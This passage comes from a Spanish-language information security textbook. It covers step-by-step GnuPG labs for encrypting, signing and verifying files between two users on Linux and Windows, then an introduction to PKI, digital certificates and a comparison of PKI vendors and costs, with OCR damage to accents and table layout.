yRhBJhr+P2otcTt4QUoF4G382QVOPnrB+gOS6ti5KxpLelXGlAOmPe3hI9IQbnaQ
q0pILq+Mv5Kk9VpJ41bwr4JA7UpLrqR6zf9Iq5kF7Xg80oUB/mn1nWeWuLp4tift
xsxUT199E8lAbBCFsewjiCQkquJMdXKhNshf8ACfFFZnx3/vdSN3kSI8Pz7dp8vb
VJWoccgBbAhSrqC0HEe2tR9EYDXXl4Y1JwAezQ/F2s1IhjcarmQhaLmT0yjhUJP8
yNL7ipN5B41jeQXhlpBu+uOsqTbYeY8T
=g9KM
-----END PGP MESSAGE-----

Paso 13: El usuario knoppix toma el archivo cifrado del directorio /tmp para simular que le ha
llegado el archivo /tmp/texto.gpg.
# gpg --output texto.asc --decrypt /tmp/texto.gpg
El sistema pide la passphrase del usuario knoppix que se uso cuando se crearon el par de llaves y
genera el archivo en claro que construyo acarvaja basado en la llave pblica de knoppix.
Para leerlo se puede usar el comando:
# less texto.asc

ENVIO DE UN ARCHIVO FIRMADO PERO NO CIFRADO


Paso 14: El usuario knoppix enviara un documento firmado para el usuario acarvaja, el archivo
firmado estar en el directorio /tmp/documento.sig y el archivo plano se llamara documento.asc.
El texto es el siguiente:
Este es un acta que cierra el negocio entre Juan y Pedro.
Notario: KNOPPIX
# gpg --armor --output /tmp/documento.sig

--sign documento.asc

GnuPG pide al usuario knoppix que digite la passphrase de su llave privada para firmar el
documento.

Paso 15: El usuario acarvaja recibe el documento firmado y lo puede leer y descifrar por que tiene
la clave pblica del usuario knoppix. Se importo en un paso anterior al anillo de acarvaja:
# gpg --output documento.asc

/tmp/documento.sig

GnuPG le informa al usuario acarvaja que el mensaje firmado con el ID 6499ADCC no tiene una
firma confiable.
Pare leer el mensaje puede usar el comando:
# less documento.asc

409

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 16: El usuario acarvaja revisa el fingerprint de la llave pblica de knoppix, el objetivo es firmar
la llave pblica de knoppix dentro del anillo de acarvaja, para que no vuelva a aparecer ese
mensaje:
# gpg

--fingerprint

knoppix

pub

1024D/6499ADCC 2005-12-27
Key fingerprint = 6FF6 A401 4B63 4C14 BA20 28B1 5E75 E96E 6499 ADCC
uid
Usuario Knoppix (Pruebas uoc.edu) <knoppix@mvaonline.com>
sub 1024g/302BC681 2005-12-27
Y lo firma con el comando:
# gpg --edit-key knoppix
Aparece un prompt command: Al digitar la opcion sign el sistema le pedira que elija una opcion,
tome la default y confirme digitando el caracter y, luego la passphrase, para terminar salga con el
comando quit
El sistema preguntara si desea guardar la modificacin.
Confirme la modificacion.
Ahora el usuario acarvaja lee el documento firmado por Knoppix
# gpg

--output documento.asc

/tmp/documento.sig

Pare leer el mensaje puede usar el comando:


# less documento.asc
Al digitar el comando nuevamente para generar el texto en claro ya podemos ver el texto que
elaboro knoppix y no pide la passphrase por que ahora la llave pblica de knoppix es confiable.
NOTA: Observar que en este sistema no hay un tercero que certifique la autenticidad de la llave
pblica.

Paso 17: Finalmente el usuario acarvaja desea enviar un texto cifrado y firmado al usuario knoppix
Genere un archivo llamado secreto.asc con el texto:
Este es un texto que se le enviara a knoppix y estar cifrado con la llave pblica de knoppix y estar
firmado con la llave privada de acarvaja
Firma: Armando Carvajal
# gpg --armor --encrypt --recipient knoppix --output /tmp/secreto.sig --sign secreto.asc
GnuPG pide la passphrase de la llave privada por que esta firmado y genera el archivo secreto.asc:
Paso 18: El usuario knoppix toma el archivo cifrado y firmado del directorio /tmp para simular que
le ha llegado el archivo /tmp/secreto.sig
# gpg --output secreto.asc --decrypt /tmp/secreto.sig
Observar que no hay un comando especial para leer archivos firmados.
El sistema pide la passphrase del usuario knoppix y genera el archivo en claro que construyo
acarvaja con la llave pblica del usuario knoppix.
Pare leer el mensaje puede usar el comando:
# less secreto.asc
Para firmarlo digite:

410

Parte III, Captulo 17 Cifrando documentos con GNU PG

# gpg --edit-key acarvaja


Aparece un prompt command: Al digitar la opcion sign el sistema le pedira que elija una opcion,
tome la default y confirme digitando el caracter y, luego la passphrase, para terminar salga con el
comando quit
El sistema preguntara si desea guardar la modificacin.
Confirme la modificacion.
Ahora el usuario knoppix lee el documento firmado por acarvaja
Pare leer el mensaje puede usar el comando:
# less secreto.asc

Cuestionamientos:

Cul es la diferencia entre las versiones 1.4.2 y la 1.2.4 que viene instalada por defecto
respecto de generar las claves?

Qu significa ELG-E keypair?

Qu pasara si la clave privada la perdiera el usuario?

411

Parte III, Captulo 17 Cifrando documentos con GNU PG

7.0

Laboratorio: GnuPG para Windows

Objetivo:

Instalar, Configurar, cifrar, descifrar documentos, firmar y leer documentos con GnuPG para
windows

Usar dos usuarios en la misma maquina Windows para simular dos usuarios que intercambian
informacin cifrada.

Creacin de Usuarios
Paso 1: Se crean dos nuevos usuarios llamados Marcela Restrepo y knoppix a quienes se le asignara un
password, por ejemplo sistemas.

Haga login con el usuario Marcela Restrepo

Generacin de llaves pblicas


Paso 2: dirjase a Inicio/Todos los programas/Gnupg for Windows/PGA

Inmediatamente
aplicacin

la
este

disponible, remtase al Men Keys, con el que se podr crear una llave privada, sin embargo, cuando se
instala por primera vez, la aplicacin carga una asistente que facilitara la labor de generar una.

412

Parte III, Captulo 17 Cifrando documentos con GNU PG

La

primera accin del asistente consiste en solicitar el nombre completo del usuario para que sea mucho ms
fcil identificarla de las dems.

De igual
manera solicita una direccin de correo que formar parte de la nueva llave,

413

Parte III, Captulo 17 Cifrando documentos con GNU PG

En seguida y como campo opcional se puede digitar un comentario usado generalmente cuando se crean
varias llaves asociadas a una misma cuenta de correo

continuacin se ingresa el valor de la llave privada con su respectiva confirmacin, en esta instancia se
evala la calidad de informacin utilizada para la nueva llave brindando la opcin de repetirla o de ratificarla.

Por

seguridad la aplicacin permite crear una copia de la clave privada, antes o despus de que sea generada.

414

Parte III, Captulo 17 Cifrando documentos con GNU PG

Finalmente

el

editor

muestra la llave creada con toda la informacin asociada

415

de

GnuPG

Parte III, Captulo 17 Cifrando documentos con GNU PG

En la seccin de detalles, se puede observar el nombre de la llave, su identificador, el tiempo de expiracin,


alcance de validacin tipo y tamao entre otros datos.

Nota: Por

ser la ltima

versin GnuPG el algoritmo DSA y Elgamal usan tamaos entre 1024 y 4096 bits, por defecto la crea con un
tamao de 1024 bits.

GnuPG ofrece la posibilidad de editar algunos valores de campos mediante la opcin Edit Private Key del
Men Keys.

Paso

3:

Se

exporta

la

clave creada por el usuario Marcela Restrepo para enviarla a usuarios que le deseen enviar documentos
cifrados, para ello se dirige a la opcin Export Key del Men Keys, y busca la ubicacin donde exportara la
clave pblica a un archivo, BC56D9E4:

416

Parte III, Captulo 17 Cifrando documentos con GNU PG

Al

no

tener acceso

a Internet

se usara el

directorio

seleccionado

que es pblico como repositorio de datos, y se copia el archivo primera clave al directorio /tmp:

El resultado ser un archivo generado, que al visualizarse mediante un block de notas presenta la siguiente
forma.

417

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 4: Ahora se debe enviar la clave pblica a un servidor, es importante seleccionar el nombre de la llave
de lo contrario todas las claves pblicas que tenga el anillo se enviaran al servidor.

Primero se debe establecer el servidor al cual se enviara la clave


Dirjase a la opcin del men Edit / preferentes

418

Parte III, Captulo 17 Cifrando documentos con GNU PG

Finalmente,

una

vez

seleccionado

servidor de claves, selecciono

el

la opcin de men

Server / Send keys, inmediatamente aparecer un cuadro de dialogo solicitando confirmacin sobre la
accin a realizar.

Paso

5:

Cambie

al

usuario
Knoppix
repita

y
los

pasos 1 a
4

419

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 8: Usuario knoppix debe Importar las claves de los usuarios a quienes deseamos enviar documentos
seguros. Remtase nuevamente al men Keys/ Import Keys una vez se obtenga este cuatro de dialogo se
digita el valor con el que se identifica la llave.

Paso

9:

Finalmente revise el estado del anillo de llaves. El usuario knoppix ve dos llaves la del usuario Marcela
Restrepo y la del mismo knoppix.

Paso 10: Usuario Marcela Restrepo debe Importar las claves de los usuarios a quienes desea enviar
documentos seguros: (Debe cambiar de sesin!)

420

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 11: El usuario Marcela

Restrepo revisa el estado de

su anillo de llaves

ENVIO DE TEXTO CIFRADO

Paso 12: El usuario Marcela Restrepo enviara un texto cifrado al usuario Knoppix que nicamente el usuario
knoppix podr leer por que nicamente el tiene la clave privada, el texto es el siguiente y esta en el archivo
texto.asc, se debe crear este archivo:

421

Parte III, Captulo 17 Cifrando documentos con GNU PG

Este es un texto ultra secreto creado por Marcela Restrepo y que se le enviara al usuario knoppix basados en
la llave pblica de knoppix. Solo debe ser ledo por el usuario knoppix quien debe tener la clave privada con
la que se genero la llave pblica usada por los usuarios que desean enviar informacin cifrada a knoppix.
Firma
ROOT (Marcela Restrepo)

Una vez creado el archivo, se guarda en la carpeta TMP y con el clic derecho del mouse se selecciona la
opcin de la llave amarilla GPGee, en seguida la opcin encripcin o si lo prefiere dirjase a GnuPG for
Windows/GPA/ men de Windows / File Manager, esta opcin abrir a una nueva pantalla que permite
administrar los archivos que se desean encriptar

422

Parte III, Captulo 17 Cifrando documentos con GNU PG

Ahora GnuPG informara que la llave pblica del usuario Knoppix no es confiable, este se debe a que no
hemos firmado con nuestra clave privada esa llave pblica para hacerla de confianza.

El sistema espera

una respuesta afirmativa para cifrar el texto.

El

archivo

cifrado

es

el

siguiente:

-----BEGIN PGP MESSAGE----Versin: GnuPG v1.4.3-cvs (MingW32)


hQEOA8Wh7tKfLJPuEAP/fRYQT7JB3cX4ZHTqKh/2Zusu0Cu6Xxrd+GGS8pm0drjeWXJRBI6zuwXMUbVbw3em5v
7F6xgM+8PN+aPO2i4wXDO2SKR+E6wnxZ+MHlZVfnhfaKcmr4Z+K+8cfzGh4lU0MhYR9WBsWZSuta5Gp5E1Uk
ol41Q1dCc5dWfc6COwfi4D/0tiNJvhX8ND8l0n42BBFoi2B4/t26KoP8LYSszjmKMHG6bpT8uy47op/H5vXeMTU/Pj
oSlVSw8CTR+B+q3Vt31tnK8GsB/6EGlQAWTblyarpPi1Eg4WoO4zpao4OIyZbSthDEuOSsQ0EE+8h8h5dA0rWZ
b7BWxTamEv8unuhK2z0sBVAe1WuJCN6vnjybgzs9JlwhCl3D8g4c8pFsGNvr57KOZ8mwv1v/X20wHbAVAZQlpA
yCqnFomuUBiam6ZD1by6IL0tyUpfQqQYXD3EhrOeFnrXUAWSw32kkD5alCaRR1dLJfnXkwIDkcsHVa2ggaEwtuy
yxgcjHwhIOpa8EnxZwsdBiFsGQtguVhN4MKB4AoQangi5i3BH0YHWhW45ARHakODbFlabyNiAEbayVPwtCZElrM
1tcHPFd6iSAcADLsxjFMFq0COHmEPfhBG1NoGMVfGq3QEAY2YyTGMworO1IXGsphG3y773FtunqdF2wzgeOMoO
TNd8AuBlFkNOEXb2YTXJCoDx8GWTGK6rFJsFkkK265izA===jBhg
-----END PGP MESSAGE-----

Paso 13: El usuario knoppix toma el archivo cifrado del directorio TMP para simular que le ha llegado el
archivo /TMP/texto.ASC.

El sistema pide la frase del usuario Knoppix que se uso cuando se crearon el par de llaves y genera el
archivo en claro que construyo Marcela Restrepo basado en la llave pblica de Knoppix.

423

Parte III, Captulo 17 Cifrando documentos con GNU PG

ENVIO DE UN ARCHIVO FIRMADO PERO NO CIFRADO

Paso 14: El usuario Knoppix enviara un documento firmado para el usuario Marcela Restrepo, el archivo
firmado estar en el directorio /TMP/documento.txt y el archivo plano se llamara documento.asc.
El texto es el siguiente:
Este es un acta que cierra el negocio entre Juan y Pedro.
Notario: Marcela Restrepo

Puede tambin acceder a Windows/

File

Manager/ Sign.

En seguida se desplegara la siguiente pantalla que se encargara de definir las caractersticas de la firma

424

Parte III, Captulo 17 Cifrando documentos con GNU PG

GnuPG pide al usuario Knoppix que digite la passphrase de su llave privada para firmar el documento.

Para

verificar

el xito de la

ejecucin

puede dar un

click

sobre

derecho

el

archivo
documento.asc y seleccionar verify/Decripty

Paso
15:

El

425

Parte III, Captulo 17 Cifrando documentos con GNU PG

usuario Marcela Restrepo recibe el documento firmado y lo puede leer por que tiene la clave pblica del
usuario Knoppix. Se importo en un paso anterior al anillo de Marcela Restrepo.

Dirjase al archivo directamente y revselo mediante la opcin GpGee con el clic derecho de su mouse o
desde Windows / File Manager /

NOTA: Observar que en este sistema no has un tercero que certifique la autenticidad de la llave pblica.

Paso 17: Finalmente el usuario Marcela Restrepo desea enviar un texto cifrado y firmado al usuario
knoppix.

Genere un archivo llamado secreto.asc con el texto:


Este es un texto que se le enviara a Knoppix y escara cifrado con la llave pblica de knoppix y hesitar
firmado con la llave privada de Marcela Restrepo

GnuPG pide la passphrase de la llave privada por que esta firmado y genera el archivo secreto.asc:

426

Parte III, Captulo 17 Cifrando documentos con GNU PG

Paso 18: El usuario knoppix toma el archivo cifrado y firmado del directorio /TMP para simular que le ha
llegado el archivo /tmp/secreto.sig

El sistema pide la passphrase del usuario knoppix y genera el archivo en claro que construyo Marcela
Restrepo.

Bibliografa
The official PGP users Guide, Philip Zimmermann, Editorial MIT press, Quinta edicin, 2000
Encryption for Everyone PGP Pretty Good Privacy, Simson Garfinkel, Editorial Oreilly, 1994
Secure Messaging With PGP and S/MIME, Rolf Oppliger, Editorial Artech House Publishers, 2000.

427

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Objetivos:

Definir un certificado digital como base fundamental de las llaves asimetricas

Entender para que sirve un certificado digital en el mundo real

Implemtar una PKI con Open CA

Implementar llaves asimtricas con Open SSL

Conocer donde estn los archivos de configuracin de Open SSL

Entender las fortalezas de las llaves simtricas y conocer sus debilidades

Implementar un servidor web seguro con certificados digitales

Implementar un cliente de correo con certficados digitales

Implementar un cliente de tipo explorador para autenticar usuarios con certificados digitales

Implementar un tnel SSL


1.0

Introduccion

Hace algunos anios la preocupacin se centraba en el permetro pero hoy el comercio electrnico esta
cambiando nuestra forma de pensar, y esto se debe a que el permetro ahora esta distribuido, pues muchas
organizaciones tienen por lo menos su portal web y el servicio de correo eletronico en hosting, es decir fuera
de su permetro local.
Hoy no se pueden concebir los negocios electrnicos sin las claves pblicas, pero las claves pblicas generan
otro problema, El como asociar una clave pblica de forma univoca a una persona, servidor o cosa, es aqu
donde la Infraestructura de llaves pblicas o PKI interviene para resolver esta problemtica.
Como en la vida real respecto de los directorios telefnicos las claves pblicas tambin cambian, existen
varios proveedores de certificados digitales como de directorios telefnicos, por que confiar en un proveedor
de certificados de propsito especfico? Qu pasara si un certificado es revocado? Como se le informa a los
proveedores y clientes que ese certificado ya no es vlido? Es vlido el certificado publico del cliente con el
que estoy haciendo transacciones? Esta capitulo busca analizar estas preguntas y las aplicaciones reales de
PKI en forma prctica mostrando un ejemplo de la vida real.

2.0

Antecedentes

No se debera pensar mucho en el permetro local pues la seguridad debe estar implcita en los servicios
fundamentales del comercio electrnico, los servicios digitales deberan incluir las siguientes caractersticas
para ser equivalentes al mundo analogo:
Las caracteristicas minimas para hacer comercio electrnico son:
2.1 Identificacion:
Es el proceso de reconocer a una entidad o a un individuo dentro de un grupo.
Por ejemplo cuando los empleados de ventas de una empresa viajan generalmente necesitan acceder a
Internet, entonces lo hacen con la misma cuenta y contrasenia compartida.
2.2 Autenticacin:
Es el proceso mediante el cual se comprueba y verifica que algo no ha cambiado y que es el original.

428

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Por ejemplo un usuario puede firmar un documento antes de enviarlo y tener la certeza de que el
documento original no ha sido modificado puesto que ha sido firmado. Si se alterara el mensaje la firma no
sera vlida y se puede constatar o verificar que el mensaje ha sido firmado por una determinada persona.
2.3 Autorizacion:
Es el proceso de determinar lo que puede hacer una entidad o persona.
Por ejemplo un usuario que tiene una cuenta corriente en un banco no debera tener acceso a cuentas de
ahorros, ttulos valores, prestamos, bancaseguros, etc
En el mundo electrnico la autorizacin depende de la autenticacin que en conjunto de las reglas del
negocio determinan si el usuario o entidad tiene acceso al servicio electrnico.
2.4 Integridad:
Es el proceso de garantizar que la informacin no ha cambiado en la transaccin electronica.
En el ejemplo de la firma electrnica de documentos antes mencionada, se debe tener la particularidad de
que dependa no slo de la identidad del remitente sino tambin del contenido del mensaje, por lo que si este
es alterado, la firma ya no ser vlida.
2.5 Confidencialidad:
Es el proceso de mantener la informacin en secreto. La confidencialidad genera privacidad, de hecho se
consideran sinonimos.
En el ejemplo de la firma electrnica de documentos antes mencionada, permite a un usuario mediante
cifrado garantizar que solamente el destinatario podr leer el mensaje. La criptografa ayuda a que las
personas no autorizadas vean el contenido de sus mensajes cifrados, es la caracterstica mas conocida en
criptografia.
2.6 No repudio:
Es el proceso que garantiza que el emisor no pueda negar lo que hizo. No repudio equivale al termino de
Aceptacion y es una de las caractersticas mas difciles de grantizar. En el ejemplo de la firma electrnica
de documentos antes mencionada, el emisor no podr negar que el firmo o cifro el documento enviado.

3.0 Criptografia la base de los certificados digitales


La criptografa es la ciencia que estudia la escritura secreta, una cifra o criptosistema es un mtodo secreto
de escritura mediante el cual un texto en claro se transforma en texto cifrado o criptograma. Se le llama
cifrado al proceso de transformar texto en claro en texto cifrado mediante claves criptogrficas.
La criptografa se ocupa del anlisis y disenio de algoritmos para cifrar y el criptoanlisis se encarga de
romper esos algoritmos.
Cuando se hacen escuchas pasivas o eavesdropping se esta atacando el secreto, esto se hace mediante
herramientas denominadas sniffers, pero cuando se hace escucha activa o tampering se ataca la
autenticidad de la comunicacin
3.1

Criptografia Simetrica

429

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

La criptografa simetrica es la mas conocida pues fue utilizada por los egipcios hasta los romanos pasando
hoy por las aplicaciones comerciales de telefona mvil, cifrado de documentos en ofimatica, cifrado de
canales de red y cifrado de datos en aplicaciones de bases de datos. Algunos ejemplos muy conocidos son
DES, 3DES y AES.
Sus caractersticas principales se podran enunciar como:

3.2

Utiliza la misma clave para cifrar y descifrar documentos


El cifrado simetrico es muy rpido y seguro
El texto cifrado es compacto
Tiene el problema de que la clave simetrica puede ser interceptada cuando el transmisor enva al
receptor la clave secreta
Las claves no son escalables para grandes poblaciones
Las claves requieren una administracin compleja
La criptografa simetrica no cumple con el requerimiento de aceptacin o no repudio

Criptografia Asimetrica

La criptografa Asimetrica es la mas moderna y es el futuro del comerio electrnico, los ejemplos mas
conocidos son RSA y ECC.
A diferencia de las claves simtricas donde emisor y receptor usan la misma clave o contrasea, en las
claves pblicas asimtricas el emisor (E) y el receptor (R) crean un par de claves que consisten en una clave
privada y una pblica.
Se debe hacer un requerimiento de certificado digital por cada elemento que interviene en la trasmisin de
datos electrnicos seguros
Emisor y receptor guardan su clave privada con recelo y hasta con una contrasea (autenticacion) para
evitar que sea legible a personas no autorizadas
Emisor y receptor ahora tienen su clave pblica, esta la puede y la debe tener cualquier persona que desee
enviar documentos seguros a sus dueos, los directorios de los proveedores contienen esas claves pblicas

430

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Este diagrama muestra las fases de firmar y cifrar y que claves se requieren para cada paso en el proceso.
Ejemplos de implementaciones de llaves asimtricas son Open SSL y Gnu PG (PGP) que funcionan como un
algoritmo del tipo de clave pblica asimtrica

Caractersticas principales de la criptografa asimetrica

3.3

No utiliza la misma clave para cifrar y descifrar documentos


El cifrado asimetrico es mas lento pero seguro
No tiene el problema de que la clave pueda ser interceptada pues el transmisor nunca enva al
receptor la clave secreta o privada
Las claves son escalables para grandes poblaciones pues las claves pblicas que se deben distribuir
son iguales al numero de claves pblicas de los participantes
Las claves no requieren una administracin compleja
La criptografa asimetrica cumple con el requerimiento de aceptacin o no repudio adems de los
certificados digitales
No exige una relacin entre emisor y receptor para hacer intecambio de claves pblicas
Tiene la desventaja de que expande el texto cifrado cada vez que se cifra

Criptografia Asimetrica + Criptografia Simetrica

Esta es la solucion, usar lo mejor de cada tecnologa, hoy la mayora de servicios como el correo electrnico
seguro, las VPN que interconectan oficinas remotas, las sesiones seguras entre cliente y servidor web, etc
Los criterios deseables:
1.
2.
3.
4.
5.
6.
7.
8.

Una solucion segura


Un cifrado rpido
Un texto cifrado muy compacto
Una solucion escalable a grandes poblaciones
No permite la interceptacin de claves
No requiere relacin entre emisor y transmisor
Soporta firmas digitales
Soporta el no repudio = aceptacion

431

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Pasos del proceso como ocurren en los servicos que se utilizan hoy:
Transmisor:
1. El texto en claro de gran volumen se cifra con criptografa simetrica mediante una clave simetrica
aleatoria generalmente de 128/256 bits
2. Se consigue la clave pblica del receptor en un directorio, generalmente la clave pblica tiene
1024bits
3. Se cifra la clave simetrica con la clave pblica del receptor: Operacin de clave empaquetada
4. Se crea un sobre digital que contiene la clave simetrica cifrada + el texto cifrado con la clave
simetrica
5. Se enva el sobre digital
Receptor:
6. El receptor abre el sobre: Encuentra el texto cifrado y la clave empaquetada
7. El receptor con su clave privada descifra la clave empaquetada
8. Ahora el receptor descifra el archivo cifrado y lo convierte a texto en claro con la clave simetrica

Problemas:
Que pasara si un pirata consigue mi clave pblica y se hace pasar por un transmisor conocido que me
enva informacin falsa?
Rta: Se debe firmar el hash de tipo sha1 (160 bits) del texto con la clave privada del transmisor, esto
garantizara el requerimiento numero 7: Soporte de firmas digitales
Qu pasara si el pirata cambia en el directorio publico la llave pblica del transmisor?
Rta: Se deben utilizar los certificados digitales X.509, esto garantizara el requerimiento numero 8: Soporte
al no repudio
Entonces definamos que es un certificado digital y por que se necesitan entidades de confianza para que las
criptografas simetricas y asimtricas sean aceptadas por las leyes locales de cada pas cuando se hagan
transacciones de comercio electronico.
4.0

PKI

Se define PKI como Una infraestructura de clave pblica (o, en ingls, PKI, Public Key Infrastructure)
es una combinacin de hardware y software, polticas y procedimientos de seguridad que permiten la
ejecucin con garantas de operaciones criptogrficas como el cifrado, la firma digital o el no repudio de
transacciones electrnicas
El objetivo fundamental de PKI es establecer identidades digitales, es decir asociar a una entidad (personas,
organizaciones) o cosas (router, firewall) una unicidad con su par de llaves pblica/privada
La posesin de una pareja de claves pblica/privada no es suficiente para establecer la identidad confiable
de una persona o cosa, se requieren relaciones de confianza como en el mundo anlogo respecto de los
notarios, los notarios son al mundo anlogo como las CA o entidades certificadoras son al mundo digital.
Importante:

La CA es la entidad certificadora
La CA tiene su propia clave privada y su clave pblica diferentes a los usuarios que tienen sus propias
claves privadas y pblicas
La CA firma el requerimiento de un usuario con su clave privada para crear la clave pblica que le
solicitaron (Se la vende al usuario, ese es el negocio de las CA)

432

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

PKI logra establecer identidades digitales asi: La CA hace un hash de la clave pblica y la firma con su clave
privada (de la CA), ahora empaqueta en un solo archivo los datos de la persona o cosa, la clave pblica de la
persona o cosa, el hash firmado con la clave privada de la CA, y la clave pblica de la CA.

Que es un certificado digital?


Es un mecanismo que se basa en la criptografa de claves pblicas o asimtricas para permitir
comunicaciones seguras entre origen y/o el destino utilizando medios de comunicaciones inseguros como
Internet, adems permiten que la comunicacin este certificada por un tercero de confianza denominado CA
Certificate Authority que garantiza la confidencialidad y el no repudio de la comunicacin.

Conceptos Generales
Qu es una Firma Digital ?
Documento
FIRMADO
DIGITAL
CERTIFICADO
DIGITAL

Hash o huella que


se obtiene a partir
del documento.

Septiembre de 2007

CERTICMARA S.A.

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGg
UAMIAGCSqGSIb3DQEHAQggL5oAMCAQICAQEwDQYJK
oZIhvcNAQEFBQAwgYwxCzAJBgNVBAYTAkNPMR8wHZX
JhIDkgMTYtMjEgQm9nb3RhMTIwMAYDVQQKEylDZXJ0a
WwMTA1MjMyMjAwMDBaFw0xMTA1MjMyMjAwMDBaMIG
MMQswCQYDVQQGEwJDTzQ2FycmVyYSA5IDE2LTIxIEJv
Z290YTEyMDAGA1UEChMpQ2VydGljYW1hcmEgUy5BLiIG
RlIENlcnRpZmljYWNpb24xKDAmBgNVBAMTH0NlcnRpZml
jYWRvIEVtcHJlc2FyaWFLUEwggEiMA0GCSqGSIb3DQEBA
QUAA4IBDwAwggEKAoIBAQCvyryGutKbt2pX5w0UNYFtP
uGBrkAI..

Importante:

Tecnicamente un Certificado digital es el hash de la clave pblica firmada con la clave privada de
la CA, mas la informacin de la persona o cosa, mas la clave pblica de la CA, mas la clave pblica
de la CA Raiz, esto es critico pues permite verificar la jerarqua de confianza leyendo un solo archivo
digital
En Colombia la nica entidad certificadora a la fecha es Certicamara, esto se debe por la poca
demanda de certificados digitales
Por ley en Colombia solo son validas las firmas digitales hechas con los certificados digitales
expedidos por certicamara
Si una investigacin forense se firma con un certificado digital expedido por una CA que no esta en
colombia, esta investigacin no tendr fuerza ante un juez.

Para que sirve un certificado digital?

433

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Garantizan la Confidencialidad, Autenticidad, integridad y no repudio en el envo de mensajes seguros al


transmitirlos por medios inseguros, permiten firmar y cifrar (esto se hereda de la criptografa asimetrica), se
entiende por gestion de certificados la emisin, renovacin y revocacin de certificados digitales, una lista
parcial de soluciones o aplicaciones de tipo PKI seria:
Aplicaciones de PKI
Soluciones Internas

Gestin de certificado de servidor (web, correo, y otros)


Gestin de certificados de usuario para empleados que permitan la autenticacin contra un
determinado servicio
Gestin de certificados de atributos para empleados que permitan la autenticacin y autorizacin
contra una determinada aplicacin/datos

Soluciones Externas

Certificados de usuario para los empleados que permitan firmar correos entre entidades/empresas
de confianza
Certificados de usuario para los empleados que permitan cifrar correos entre entidades/empresas
de confianza
Proveer certificados de servidor a terceros (Prestador de Servicios de Certificacin)

En resumen las organizaciones requieren de una infraestructura de claves pblicas por los siguientes
requerimientos:

Generacion segura de buenas claves


Validacion de identidad
Manejo del ciclo de vida de los certificados: Expedicion, renovacin y terminacin de certificados
Validacion de los certificados
Distribucionde certificados
Suministro de la informacin asociada a un certificado digital
Almacenamiento seguro
Recuperacion segura de claves
Generacin de firmas y registro de tiempos
Administracion de relaciones de confianza
Integracion con las aplicaciones de la organizacin
Integracion con el sistema de seguridad de la organizacin

434

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Diferentes soluciones de PKI


Proveedor
Tecnolgico

Certificados
servidor

OpenCA

Si

Si

Soporte,
capacitacin
Colombia
No

RSA

Si

Si

No

Nexsus
IDX-PKI
Safelayer
Camerfirma
Indenova
Astaro

Si
Si
Si
Si
Si
No

tipo

Certificados
usuario

Si
Si
Si
Si
Si
Si

tipo

No
No
No
No
No
Si

Verisign

Si

Si

No

Entrust

Si

Si

No

Costo
en
0
+
capacitacin

auto

US$175
dlares
por
usuario
/
servidor si compra
1.000 certificados
US$99 dlares por
usuario / servidor
si compra 10.000
certificados
No suministra info
No suministra info
No suministra info
No suministra info
No suministra info
US$15.000
No vende los
certificados
nicamente vende
el software
appliance PKI para
correos
US$70 dlares por
usuario/servidor si
compra 1000
certificados
US$25.000 el
software base PKI
US$1 dlar por
usuario/servidor si
compra de 5.000 a
10.000 certificados

Anlisis de alternativas:

Todos los proveedores consultados en general cumplen con los dos tipos de certificados digitales
requeridos, excepto el fabricante de UTM (administracin centralizada de amenazas) Astaro que es
una solucin europea especializada en PKI nicamente para la gestin de correos seguros respecto
del negocio de las PKI. Su verdadero negocio son los cortafuegos de tipo UTM.
Para el caso de Colombia y sur Amrica no existe soporte local excepto Astaro que si cuenta con un
distribuidor local.
En todas las soluciones se requiere un alto grado de conocimiento de PKI es decir no es
transparente para el usuario final, excepto Astaro que en forma transparente cifra y descifra los
correos seguros. Astaro fue la nica opcin que inclua appliance y lo haca transparentemente para

435

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

el usuario final pero no tena la opcin de certificados de tipo servidor, es decir no cumple con la
totalidad de los requerimientos de la solucin
No hay precios homogneos por solucin, pues unos proveedores lo hacen por nmero de usuarios,
otros por servidor y otros hacen combinaciones haciendo ms compleja la tarea de comparar
precios
Se encuentran muy pocos proveedores locales expertos de servicios profesionales de OpenCA

Seleccin de la alternativa propuesta por este documento:


Se selecciona la alternativa OpenCA por las siguientes razones:

Posee un API que puede ser utilizado desde los lenguajes de desarrollo de software para que el
programador pueda mejorar sus propias interfaces de gestin, el resto de proveedores evaluados
no muestran la existencia de un API para que el implementador mejore las caractersticas de cada
opcin
En general las opciones evaluadas no poseen soporte local lo que generara dependencia
tecnolgica de estos proveedores que en la mayora de los casos estn en otros continentes, en
cambio OpenCA por ser de tipo OpenSource permite que localmente se mejore la documentacin y
se hagan cambios especficos para la regin, esto la hace una opcin altamente deseable segn los
requerimientos anteriormente enunciados
Por ser OpenCA de licencia OpenSource no tiene costo de adquisicin pero si hay costos de
implementacin y capacitacin interna para aprender a manejar la herramienta
Con OpenCA la curva de aprendizaje es ms larga que la de los productos ya establecidos en otros
pases que ya tienen documentacin y soporte probado en sus pases de origen
Definitivamente los precios de los certificados individuales y la poca integracin con las aplicaciones
es lo que ha hecho difcil la implementacin de PKI pues finalmente es el usuario quien paga estos
costos.
Es una oportunidad nica para aportar soluciones a la regin en el tema especifico de PKI con
OpenCA

Costos de la solucin
Item
Servidor PKI

Costo en dlares
Americanos
3.703

Firewall UTM para proteger el servidor PKI y los


PC (s) de la zona protegida PKI

380

Comentarios
No se cuenta con un servidor para
reutilizar, tampoco se cuenta con
la versin de Linux SUSE 10
Enterprise Server con drivers para
la SAN
Se cuenta con un Astaro 120 de
propiedad de Globaltek para
reutilizarlo. Solo se debe seguir
actualizando el mantenimiento
anual
Globaltek
es
distribuidor
autorizado de este sistema de
control

Para garantizar que nicamente los seriales de


los tokens OTP/USB autorizados se autentiquen
contra el servidor LDAP, se utilizara un

1.200

436

Globaltek
es
distribuidor
autorizado de este sistema de
control
para
dispositivos
de

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales
